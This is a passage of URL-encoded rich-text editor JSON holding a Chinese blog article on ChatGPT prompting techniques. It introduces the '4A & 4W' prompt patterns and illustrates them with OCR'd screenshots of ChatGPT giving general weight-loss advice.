%82%E4%BD%95%E7%94%A8%E9%93%B2%E5%AD%90%E5%A0%86%E4%B8%80%E4%B8%AA%E5%8F%88%E5%A4%A7%E5%8F%88%E6%BC%82%E4%BA%AE%E7%9A%84%E6%88%BF%E5%AD%90%E5%8F%AF%E8%83%BD%E6%88%91%E4%BB%AC%E8%BF%98%E4%B8%8D%E7%9F%A5%E9%81%93%EF%BC%8C%E4%BD%86%E8%87%B3%E5%B0%91%E6%88%91%E4%BB%AC%E7%8E%B0%E5%9C%A8%E5%B7%B2%E7%BB%8F%E5%BC%80%E5%A7%8B%E5%B0%9D%E8%AF%95%E5%81%9A%E8%BF%99%E6%A0%B7%E7%9A%84%E4%BA%8B%E6%83%85%E4%BA%86%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u602c142a%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u01d07b0a%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E5%85%B6%E5%AE%9E%E4%BB%8EChatGPT%E8%AF%9E%E7%94%9F%E8%87%B3%E4%BB%8A%EF%BC%8C%E6%89%80%E6%9C%89%E4%BB%8E%E4%BA%8B%E7%9B%B8%E5%85%B3%E7%A0%94%E7%A9%B6%E7%9A%84%E6%9C%8B%E5%8F%8B%E9%83%BD%E5%9C%A8%E5%8A%AA%E5%8A%9B%E7%9A%84%E5%9C%A8ChatGPT%E4%B8%8A%E6%8E%A2%E7%B4%A2%E5%90%84%E7%A7%8D%E5%90%84%E6%A0%B7%E7%9A%84%E4%BD%BF%E7%94%A8%E6%96%B9%E5%BC%8F%EF%BC%8C%E7%94%9A%E8%87%B3%E7%8E%B0%E5%9C%A8%E5%B7%B2%E7%BB%8F%E8%AF%9E%E7%94%9F%E4%BA%86%E6%89%80%E8%B0%93%E7%9A%84prompt%E5%B7%A5%E7%A8%8B%E5%B8%88%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u4a9323e2%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ucb370255%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E8%BF%99%E7%AF%87%E6%96%87%E7%AB%A0%E5%B0%B1%E8%81%8A%E8%81%8A%E5%BE%88%E5%A4%9A%E7%8E%B0%E5%9C%A8%E5%B7%B2%E6%9C%89%E7%9A%84%E5%85%B3%E4%BA%8EChatGPT%E4%BD%BF%E7%94%A8%E7%9A%84%E6%8A%80%E5%B7%A7%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ua0074b30%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u099dec29%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%3C!--more--%3E%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22lij9j%22%2C%22name%22%3A%22h1%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u84d4852c%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%224A%20%26%204W%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u9bc25ce5%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ud176b31a%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E9%A6%96%E5%85%88ChatGPT%E5%9C%A8%E8%87%AA%E7%84%B6%E8%AF%AD%E8%A8%80%E7%9A%84%E7%90%86%E8%A7%A3%E4%B8%8A%E8%99%BD%E7%84%B6%E6%9C%89%E7%9D%80%E9%A2%86%E5%85%88%E6%97%B6%E4%BB%A3%E7%9A%84%E8%A1%A8%E7%8E%B0%EF%BC%8C%E4%BD%86%E4%BA%8B%E5%AE%9E%E4%B8%8AChatGPT%E5%B9%B6%E4%B8%8D%E6%98%AF%E4%BD%A0%E7%9A%84%E8%9B%94%E8%99%AB%EF%BC%8C%E4%BD%A0%E8%AF%95%E5%9B%BE%E9%80%9A%E8%BF%87%E7%AE%80%E5%8D%95%E7%9A%84%E9%97%AE%E9%A2%98%E8%8E%B7%E5%BE%97%E5%87%86%E7%A1%AE%E7%9A%84%E5%9B%9E%E7%AD%94%E6%98%AF%E4%B8%8D%E5%8F%AF%E8%83%BD%E7%9A%84%EF%BC%8C%E4%B9%9F%E4%B8%8D%E7%8E%B0%E5%AE%9E%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ue1640871%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ub13e6ec7%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E8%BF%99%E9%87%8C%E6%88%91%E4%B9%9F%E7%94%A8%E4%B8%80%E4%B8%8B%EF%BC%8C%E5%9C%A8%E8%AE%B2%E8%BF%B0%E8%BF%99%E4%B8%AA%E9%97%AE%E9%A2%98%E6%97%B6%E6%9C%80%E5%B8%B8%E7%94%A8%E7%9A%84%E2%80%9C%E5%A6%82%E4%BD%95%E5%87%8F%E8%82%A5%E2%80%9D%E7%9A%84%E4%BE%8B%E5%AD%90%E3%80%82%E5%A6%82%E6%9E%9C%E4%BD%A0%E5%8F%AA%E6%98%AF%E7%AE%80%E5%8D%95%E7%9A%84%E9%97%AE%EF%BC%8C%E9%82%A3%E4%B9%88chatgpt%E7%9A%84%E5%9B%9E%E7%AD%94%E5%B0%B1%E4%BC%9A%E6%A8%A1%E7%B3%8A%E8%80%8C%E6%A6%82%E6%8B%AC%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ue160b413%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22uf987729e%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1682326643769-4e862de2-cf47-488d-8120-a5574fe153e4.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A858%2C%22height%22%3A362%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A46589%2C%22width%22%3A779.9999830939556%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22u9a6093a1-7c71-4a77-86d5-c8ec5de84e0%22%2C%22clientId%22%3A%22udf60d6f4-671e-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A675.808%2C%22y%22%3A72.57809%2C%22width%22%3A162.80217000000005%2C%22height%22%3A15.393979999999999%2C%22text%22%3A%22%E6%88%91%E6%83%B3%E5%87%8F%E8%82%A5%2C%E6%9C%89%E4%BB%80%E4%B9%88%E5%8A%9E%E6%B3%95%E5%91%A2%3F%22%7D%2C%7B%22x%22%3A13.214851%2C%22y%22%3A178.1194%2C%22width%22%3A286.474209%2C%22height%22%3A15.365259999999978%2C%22text%22%3A%22%E4%B8%BA%E4%BA%86%E5%87%8F%E8%82%A5%2C%E4%BD%A0%E9%9C%80%E8%A6%81%E8%BF%9B%E8%A1%8C%E4%B8%80%E4%BA%9B%E7%AE%80%E5%8D%95%E7%9A%84%E6%94%B9%E5%8F%98%2C%E5%8C%85%E6%8B%AC%3A%22%7D%2C%7B%22x%22%3A25.455015%2C%22y%22%3A214.92128%2C%22width%22%3A386.195555%2C%22height%22%3A15.045180000000016%2C%22text%22%3A%221.%E9%A5%AE%E9%A3%9F%E6%8E%A7%E5%88%B6%3A%E5%87%8F%E5%B0%91%E6%91%84%E5%85%A5%E7%9A%84%E5%8D%A1%E8%B7%AF%E9%87%8C%2C%E9%81%BF%E5%85%8D%E9%AB%98%E6%B2%B9%2C%E9%AB%98%E7%B3%96%E5%92%8C%E9%AB%98%E7%9B%90%E9%A3%9F%E7%89%A9.%22%7D%2C%7B%22x%22%3A25.59797%2C%22y%22%3A251.43549%2C%22width%22%3A372.27898000000005%2C%22height%22%3A15.81471000000002%2C%22text%22%3A%222.%E8%BF%90%E5%8A%A8%3A%E5%A2%9E%E5%8A%A0%E4%BD%93%E5%8A%9B%E6%B4%BB%E5%8A%A8%E5%92%8C%E6%9C%89%E6%B0%A7%E8%BF%90%E5%8A%A8%2C%E5%A6%82%E5%BF%AB%E8%B5%B0%2C%E8%B7%91%E6%AD%A5%2C%E6%B8%B8%E6%B3%B3%E7%AD%89.%22%7D%2C%7B%22x%22%3A26.714144%2C%22y%22%3A289.01443%2C%22width%22%3A426.108126%2C%22height%22%3A14.735329999999976%2C%22text%22%3A%223.%E5%9D%9A%E6%8C%81%3A%E6%AF%85%E5%8A%9B%E5%8D%81%E5%88%86%E5%BF%85%E8%A6%81%2C%E5%9D%9A%E6%8C%81%E5%81%A5%E5%BA%B7%E9%A5%AE%E9%A3%9F%2C%E6%AF%8F%E5%A4%A9%E4%BF%9D%E6%8C%81%E4%B8%80%E5%AE%9A%E9%87%8F%E7%9A%84%E6%B4%BB%E5%8A%A8%E7%8A%B6%E6%80%81.%22%7D%2C%7B%22x%22%3A13.066039%2C%22y%22%3A326.4534%2C%22width%22%3A454.009641%2C%22height%22%3A14.201930000000004%2C%22text%22%3A%22%E6%AD%A4%E5%A4%96%2C%E4%BD%A0%E5%8F%AF%E4%BB%A5%E5%92%A8%E8%AF%A2%E4%B8%93%E4%B8%9A%E7%9A%84%E5%8C%BB%E5%AD%A6%E5%81%A5%E5%BA%B7%E5%9B%A2%E9%98%9F%2C%E4%BB%A5%E4%BE%BF%E6%9B%B4%E5%A5%BD%E5%9C%B0%E5%88%B6%E5%AE%9A%E8%87%AA%E5%B7%B1%E7%9A%84%E5%87%8F%E8%82%A5%E8%AE%A1%E5%88%92.%22%7D%5D%2C%22search%22%3A%22%E6%88%91%E6%83%B3%E5%87%8F%E8%82%A5%2C%E6%9C%89%E4%BB%80%E4%B9%88%E5%8A%9E%E6%B3%95%E5%91%A2%3F%20%E4%B8%BA%E4%BA%86%E5%87%8F%E8%82%A5%2C%E4%BD%A0%E9%9C%80%E8%A6%81%E8%BF%9B%E8%A1%8C%E4%B8%80%E4%BA%9B%E7%AE%80%E5%8D%95%E7%9A%84%E6%94%B9%E5%8F%98%2C%E5%8C%85%E6%8B%AC%3A%201.%E9%A5%AE%E9%A3%9F%E6%8E%A7%E5%88%B6%3A%E5%87%8F%E5%B0%91%E6%91%84%E5%85%A5%E7%9A%84%E5%8D%A1%E8%B7%AF%E9%87%8C%2C%E9%81%BF%E5%85%8D%E9%AB%98%E6%B2%B9%2C%E9%AB%98%E7%B3%96%E5%92%8C%E9%AB%98%E7%9B%90%E9%A3%9F%E7%89%A9.%202.%E8%BF%90%E5%8A%A8%3A%E5%A2%9E%E5%8A%A0%E4%BD%93%E5%8A%9B%E6%B4%BB%E5%8A%A8%E5%92%8C%E6%9C%89%E6%B0%A7%E8%BF%90%E5%8A%A8%2C%E5%A6%82%E5%BF%AB%E8%B5%B0%2C%E8%B7%91%E6%AD%A5%2C%E6%B8%B8%E6%B3%B3%E7%AD%89.%203.%E5%9D%9A%E6%8C%81%3A%E6%AF%85%E5%8A%9B%E5%8D%81%E5%88%86%E5%BF%85%E8%A6%81%2C%E5%9D%9A%E6%8C%81%E5%81%A5%E5%BA%B7%E9%A5%AE%E9%A3%9F%2C%E6%AF%8F%E5%A4%A9%E4%BF%9D%E6%8C%81%E4%B8%80%E5%AE%9A%E9%87%8F%E7%9A%84%E6%B4%BB%E5%8A%A8%E7%8A%B6%E6%80%81.%20%E6%AD%A4%E5%A4%96%2C%E4%BD%A0%E5%8F%AF%E4%BB%A5%E5%92%A8%E8%AF%A2%E4%B8%93%E4%B8%9A%E7%9A%84%E5%8C%BB%E5%AD%A6%E5%81%A5%E5%BA%B7%E5%9B%A2%E9%98%9F%2C%E4%BB%A5%E4%BE%BF%E6%9B%B4%E5%A5%BD%E5%9C%B0%E5%88%B6%E5%AE%9A%E8%87%AA%E5%B7%B1%E7%9A%84%E5%87%8F%E8%82%A5%E8%AE%A1%E5%88%92.%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23faf9f9%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u0a8233cf%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u2b34c04a%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E9%9A%8F%E7%9D%80%E5%A4%A7%E5%AE%B6%E7%9A%84%E6%8E%A2%E7%B4%A2%EF%BC%8C%E9%80%90%E6%B8%90%E8%AF%9E%E7%94%9F%E4%BA%86%E4%B8%A4%E7%A7%8D%E5%B8%B8%E7%94%A8%E7%9A%84%E6%89%AE%E6%BC%94%E6%B3%95%E6%8C%87%E4%BB%A4%E6%A8%A1%E5%BC%8F%EF%BC%8C%E4%B9%9F%E5%B0%B1%E6%98%AF4A%20%26%204W%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u411aa4a9%22%2C%22name%22%3A%22uli%22%2C%22attrs%22%3A%7B%22indexStyle%22%3A%7B%7D%2C%22list%22%3A%22u5e09a7fd%22%2C%22fid%22%3A%22u8c40049c%22%2C%22indexType%22%3A0%2C%22parentIndex%22%3A%5B%5D%2C%22index%22%3A0%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u9b0f48ce%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%224A%3A%20Actor(%E8%A7%92%E8%89%B2)%20-%20Aim(%E7%9B%AE%E6%A0%87)%20-%20Ask(%E6%8F%90%E8%A6%81%E6%B1%82)%20-%20Addition(%E8%A1%A5%E5%85%85)%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u5946522a%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uae5026f2%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%224A%E6%A8%A1%E5%9E%8B%E6%98%AFPrompt%E4%B8%AD%E6%AF%94%E8%BE%83%E5%85%B8%E5%9E%8B%E7%9A%84%E4%BE%8B%E5%AD%90%EF%BC%8C%E6%99%9A%E4%B8%8A%E5%A4%A7%E9%83%A8%E5%88%86%E6%B5%81%E8%A1%8C%E7%9A%84%E6%8F%90%E9%97%AE%E6%96%B9%E5%BC%8F%E9%83%BD%E6%98%AF%E8%BF%99%E4%B8%AA%E7%BB%93%E6%9E%84%EF%BC%8C%E8%BF%98%E6%98%AF%E6%8B%BF%E5%87%8F%E8%82%A5%E4%B8%BE%E4%BE%8B%E5%AD%90%EF%BC%8C%E8%BF%99%E4%B8%80%E6%AC%A1%E6%88%91%E6%8F%90%E4%BE%9B%E4%BA%86%E6%88%91%E7%9A%84%E8%BA%AB%E9%AB%98%E5%92%8C%E4%BD%93%E9%87%8D%EF%BC%8C%E5%B9%B6%E4%B8%94%E7%BB%99%E4%BB%96%E8%B5%8B%E4%BA%88%E4%BA%86%E8%A7%92%E8%89%B2%E5%AE%9A%E4%BD%8D%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u4799a0cc%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22u6fa0dfbf%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1682328674123-cce0a4c8-18b8-4dc8-a728-256ee71953c4.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A862%2C%22height%22%3A628%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A152930%2C%22width%22%3A783.6363466515032%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22u03681d43-f39c-48e8-af0d-18fcd35d321%22%2C%22clientId%22%3A%22udf60d6f4-671e-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A280.85367%2C%22y%22%3A77.640274%2C%22width%22%3A566.16463%2C%22height%22%3A15.619205999999991%2C%22text%22%3A%22%E4%BD%A0%E6%98%AF%E4%B8%80%E5%90%8D%E4%B8%93%E4%B8%9A%E7%9A%84%E5%81%A5%E8%BA%AB%E6%95%99%E7%BB%83%2C%E6%88%91%E8%A6%81%E5%87%8F%E8%82%A5%2C%E8%AF%B7%E5%B8%AE%E6%88%91%E5%88%B6%E5%AE%9A%E8%AF%A6%E7%BB%86%E7%9A%84%E5%87%8F%E8%82%A5%E8%AE%A1%E5%88%92%2C%E6%88%91%E7%9B%AE%E5%89%8D%E8%BA%AB%E9%AB%98180%2C140%E6%96%A4%22%7D%2C%7B%22x%22%3A13.871131%2C%22y%22%3A182.50601%2C%22width%22%3A659.5309090000001%2C%22height%22%3A15.563879999999983%2C%22text%22%3A%22%E5%A5%BD%E7%9A%84%2C%E5%88%B6%E5%AE%9A%E5%87%8F%E8%82%A5%E8%AE%A1%E5%88%92%E9%9C%80%E8%A6%81%E4%BA%86%E8%A7%A3%E6%82%A8%E7%9A%84%E5%85%B7%E4%BD%93%E6%83%85%E5%86%B5%2C%E5%8C%85%E6%8B%AC%E8%BA%AB%E4%BD%93%E7%8A%B6%E6%80%81%2C%E6%97%A5%E5%B8%B8%E9%A5%AE%E9%A3%9F%2C%E8%BF%90%E5%8A%A8%E4%B9%A0%E6%83%AF%E7%AD%89.%E4%BB%A5%E4%B8%8B%E6%98%AF%E6%88%91%E4%B8%BA%E6%82%A8%E5%88%B6%E5%AE%9A%E7%9A%84%22%7D%2C%7B%22x%22%3A14.616204%2C%22y%22%3A204.77847%2C%22width%22%3A64.097176%2C%22height%22%3A14.448290000000014%2C%22text%22%3A%22%E5%87%8F%E8%82%A5%E8%AE%A1%E5%88%92%3A%22%7D%2C%7B%22x%22%3A28.111597%2C%22y%22%3A241.03996%2C%22width%22%3A640.3987030000001%2C%22height%22%3A15.440809999999999%2C%22text%22%3A%221.%E7%A1%AE%E5%AE%9A%E7%9B%AE%E6%A0%87%3A%E9%A6%96%E5%85%88%E8%A6%81%E8%AE%BE%E5%AE%9A%E4%B8%80%E4%B8%AA%E5%87%8F%E8%82%A5%E7%9B%AE%E6%A0%87%2C%E4%BE%8B%E5%A6%82%E5%87%8F%E5%8E%BB10-15%E6%96%A4%E6%98%AF%E4%B8%80%E4%B8%AA%E6%AF%94%E8%BE%83%E5%90%88%E7%90%86%E7%9A%84%E7%9B%AE%E6%A0%87%2C%E4%BD%86%E6%9C%80%E9%87%8D%E8%A6%81%E7%9A%84%E6%98%AF%E8%A6%81%E4%BB%A5%E5%81%A5%22%7D%2C%7B%22x%22%3A42.628548%2C%22y%22%3A261.57434%2C%22width%22%3A218.91787200000002%2C%22height%22%3A15.771299999999997%2C%22text%22%3A%22%E5%BA%B7%E4%B8%BA%E5%89%8D%E6%8F%90%2C%E5%B9%B6%E4%B8%94%E9%9C%80%E8%A6%81%E6%9C%89%E8%80%90%E5%BF%83%E5%92%8C%E6%AF%85%E5%8A%9B.%22%7D%2C%7B%22x%22%3A27.287165%2C%22y%22%3A299.21405%2C%22width%22%3A646.3140950000001%2C%22height%22%3A14.609680000000026%2C%22text%22%3A%222.%E6%8E%A7%E5%88%B6%E9%A5%AE%E9%A3%9F%3A%E5%90%88%E7%90%86%E7%9A%84%E9%A5%AE%E9%A3%9F%E6%8E%A7%E5%88%B6%E6%98%AF%E5%87%8F%E8%82%A5%E7%9A%84%E5%85%B3%E9%94%AE.%E6%8E%A8%E8%8D%90%E6%82%A8%E9%87%87%E7%94%A8%E5%B0%91%E9%87%8F%E5%A4%9A%E9%A4%90%E7%9A%84%E6%96%B9%E5%BC%8F%2C%E6%AF%8F%E6%97%A5%E5%88%86%E4%B8%89%E9%A4%90%E5%92%8C%E4%B8%A4%E6%AC%A1%E5%B0%8F%E9%A3%9F.%E9%A5%AE%E9%A3%9F%22%7D%2C%7B%22x%22%3A42.8496%2C%22y%22%3A320.04172%2C%22width%22%3A630.5676%2C%22height%22%3A14.708649999999977%2C%22text%22%3A%22%E5%BA%94%E4%BB%A5%E9%AB%98%E7%BA%A4%E7%BB%B4%2C%E4%BD%8E%E5%8D%A1%E8%B7%AF%E9%87%8C%E8%94%AC%E8%8F%9C%2C%E6%B0%B4%E6%9E%9C%2C%E9%AB%98%E8%9B%8B%E7%99%BD%E7%98%A6%E8%82%89%2C%E9%B1%BC%E7%B1%BB%2C%E8%9B%8B%E7%99%BD%E8%B4%A8%2C%E5%9D%9A%E6%9E%9C%E5%92%8C%E4%BD%8E%E8%84%82%E4%B9%B3%E5%88%B6%E5%93%81%E4%B8%BA%E4%B8%BB%2C%E5%B0%BD%E9%87%8F%E9%81%BF%E5%85%8D%E9%AB%98%22%7D%2C%7B%22x%22%3A42.092735%2C%22y%22%3A340.36996%2C%22width%22%3A461.533115%2C%22height%22%3A15.915380000000027%2C%22text%22%3A%22%E7%B3%96%2C%E9%AB%98%E6%B2%B9%2C%E9%AB%98%E7%83%AD%E9%87%8F%E7%9A%84%E9%A3%9F%E7%89%A9.%E9%81%B5%E5%BE%AA%5C%22%E6%8E%A7%E7%9B%90%2C%E5%B0%91%E6%B2%B9%2C%E5%B0%91%E7%B3%96%2C%E5%B0%91%E9%85%92%5C%22%E7%9A%84%E9%A5%AE%E9%A3%9F%E5%8E%9F%E5%88%99.%22%7D%2C%7B%22x%22%3A27.625877%2C%22y%22%3A377.6778%2C%22width%22%3A633.082223%2C%22height%22%3A16.106840000000034%2C%22text%22%3A%223.%E5%A2%9E%E5%8A%A0%E8%BF%90%E5%8A%A8%E9%87%8F%3A%E9%80%82%E9%87%8F%E7%9A%84%E4%BD%93%E8%82%B2%E9%94%BB%E7%82%BC%E6%98%AF%E5%87%8F%E8%82%A5%E7%9A%84%E9%87%8D%E8%A6%81%E9%80%94%E5%BE%84.%E5%BB%BA%E8%AE%AE%E6%82%A8%E6%AF%8F%E6%97%A5%E8%BF%9B%E8%A1%8C%E4%B8%80%E5%B0%8F%E6%97%B6%E7%9A%84%E9%94%BB%E7%82%BC%2C%E5%8F%AF%E4%BB%A5%E9%80%89%E6%8B%A9%E6%AD%A5%E8%A1%8C%2C%E6%85%A2%22%7D%2C%7B%22x%22%3A42.633854%2C%22y%22%3A398.46722%2C%22width%22%3A630.802546%2C%22height%22%3A15.475979999999993%2C%22text%22%3A%22%E8%B7%91%2C%E8%B7%B3%E7%BB%B3%2C%E7%91%9C%E4%BC%BD%2C%E6%99%AE%E6%8B%89%E6%8F%90%E7%AD%89%E4%BD%93%E8%82%B2%E9%94%BB%E7%82%BC%E6%96%B9%E6%B3%95.%E5%A6%82%E6%97%A0%E7%89%B9%E6%AE%8A%E6%83%85%E5%86%B5%2C%E5%BB%BA%E8%AE%AE%E6%82%A8%E5%A2%9E%E5%8A%A0%E8%BF%90%E5%8A%A8%E5%BC%BA%E5%BA%A6%2C%E6%97%B6%E9%95%BF%E5%92%8C%E9%A2%91%E7%8E%87%2C%E4%BD%86%E8%A6%81%E6%B3%A8%22%7D%2C%7B%22x%22%3A42.7201%2C%22y%22%3A420.22787%2C%22width%22%3A329.90258%2C%22height%22%3A15.414930000000027%2C%22text%22%3A%22%E6%84%8F%E9%80%90%E6%B8%90%E5%A2%9E%E5%8A%A0%E9%87%8F%E7%9A%84%E6%96%B9%E5%BC%8F%2C%E4%BB%A5%E9%81%BF%E5%85%8D%E8%BF%90%E5%8A%A8%E8%BF%87%E9%87%8F%E5%AF%BC%E8%87%B4%E8%BA%AB%E4%BD%93%E5%8F%97%E4%BC%A4.%22%7D%2C%7B%22x%22%3A27.730507%2C%22y%22%3A456.75412%2C%22width%22%3A646.726893%2C%22height%22%3A15.73923000000002%2C%22text%22%3A%224%2C%E6%AF%8F%E6%97%A5%E7%94%9F%E6%B4%BB%E4%B9%A0%E6%83%AF%3A%E5%BB%BA%E8%AE%AE%E6%82%A8%E5%85%BB%E6%88%90%E8%89%AF%E5%A5%BD%E7%9A%84%E7%94%9F%E6%B4%BB%E4%B9%A0%E6%83%AF%2C%E5%8C%85%E6%8B%AC%E6%97%A9%E7%9D%A1%E6%97%A9%E8%B5%B7%2C%E4%BF%9D%E8%AF%81%E5%85%85%E8%B6%B3%E7%9A%84%E7%9D%A1%E7%9C%A0%2C%E9%81%BF%E5%85%8D%E7%86%AC%E5%A4%9C%3B%E4%B8%8D%E5%90%B8%E7%83%9F%2C%E5%B0%91%22%7D%2C%7B%22x%22%3A41.831894%2C%22y%22%3A477.87628%2C%22width%22%3A371.513746%2C%22height%22%3A16.122799999999984%2C%22text%22%3A%22%E5%96%9D%E9%85%92%3B%E9%81%BF%E5%85%8D%E5%9D%90%E7%9D%80%E6%97%B6%E9%97%B4%E8%BF%87%E9%95%BF%2C%E5%81%9A%E5%88%B0%E8%BD%BB%E6%9D%BE%E8%82%8C%E8%82%89%E6%B4%BB%E5%8A%A8%2C%E4%BC%B8%E5%B1%95%E8%82%A2%E4%BD%93%E7%AD%89.%22%7D%2C%7B%22x%22%3A27.119833%2C%22y%22%3A515.2802%2C%22width%22%3A646.343467%2C%22height%22%3A14.569999999999936%2C%22text%22%3A%225.%E7%9B%91%E6%8E%A7%E4%B8%8E%E8%B0%83%E6%95%B4%3A%E5%87%8F%E8%82%A5%E6%98%AF%E4%B8%AA%E9%95%BF%E6%9C%9F%E7%9A%84%E8%BF%87%E7%A8%8B%2C%E5%9C%A8%E8%BF%99%E4%B8%AA%E8%BF%87%E7%A8%8B%E4%B8%AD%E8%A6%81%E6%B3%A8%E6%84%8F%E7%9B%91%E6%8E%A7%E8%87%AA%E5%B7%B1%E7%9A%84%E4%BD%93%E9%87%8D%E5%8F%98%E5%8C%96%E5%92%8C%E8%BA%AB%E4%BD%93%E7%8A%B6%E5%86%B5%2C%E5%8F%91%E7%8E%B0%E6%9C%89%E5%BC%82%E6%A0%B7%22%7D%2C%7B%22x%22%3A42.219906%2C%22y%22%3A535.8935%2C%22width%22%3A120.932974%2C%22height%22%3A14.810499999999934%2C%22text%22%3A%22%E5%8F%8A%E6%97%B6%E8%B0%83%E6%95%B4%E5%87%8F%E8%82%A5%E8%AE%A1%E5%88%92.%22%7D%2C%7B%22x%22%3A13.786366%2C%22y%22%3A571.8398%2C%22width%22%3A660.143564%2C%22height%22%3A15.903800000000047%2C%22text%22%3A%22%E6%88%91%E5%B8%8C%E6%9C%9B%E8%BF%99%E4%B8%AA%E5%87%8F%E8%82%A5%E8%AE%A1%E5%88%92%E8%83%BD%E5%A4%9F%E5%B8%AE%E5%8A%A9%E5%88%B0%E6%82%A8.%E8%AF%B7%E6%B3%A8%E6%84%8F%2C%E5%8F%AA%E6%9C%89%E6%8A%8A%E8%BF%99%E4%B8%AA%E8%AE%A1%E5%88%92%E8%B4%AF%E5%BD%BB%E5%88%B0%E5%BA%95%2C%E6%89%8D%E8%83%BD%E8%8E%B7%E5%BE%97%E8%89%AF%E5%A5%BD%E7%9A%84%E5%87%8F%E8%82%A5%E6%95%88%E6%9E%9C.%E5%A6%82%E6%9E%9C%E6%82%A8%22%7D%2C%7B%22x%22%3A14.967253%2C%22y%22%3A594.04065%2C%22width%22%3A551.663247%2C%22height%22%3A14.571109999999976%2C%22text%22%3A%22%E8%BF%98%E6%83%B3%E8%8E%B7%E5%BE%97%E6%9B%B4%E5%8A%A0%E4%B8%AA%E6%80%A7%E5%8C%96%E6%9B%B4%E5%8A%A0%E4%B8%93%E4%B8%9A%E7%9A%84%E5%87%8F%E8%82%A5%E5%BB%BA%E8%AE%AE%2C%E5%BB%BA%E8%AE%AE%E5%AF%BB%E6%B1%82%E4%B8%80%E4%BD%8D%E4%B8%93%E4%B8%9A%E7%9A%84%E8%90%A5%E5%85%BB%E5%B8%88%E6%88%96%E5%81%A5%E8%BA%AB%E6%95%99%E7%BB%83%E7%9A%84%E5%B8%AE%E5%8A%A9.%22%7D%5D%2C%22search%22%3A%22%E4%BD%A0%E6%98%AF%E4%B8%80%E5%90%8D%E4%B8%93%E4%B8%9A%E7%9A%84%E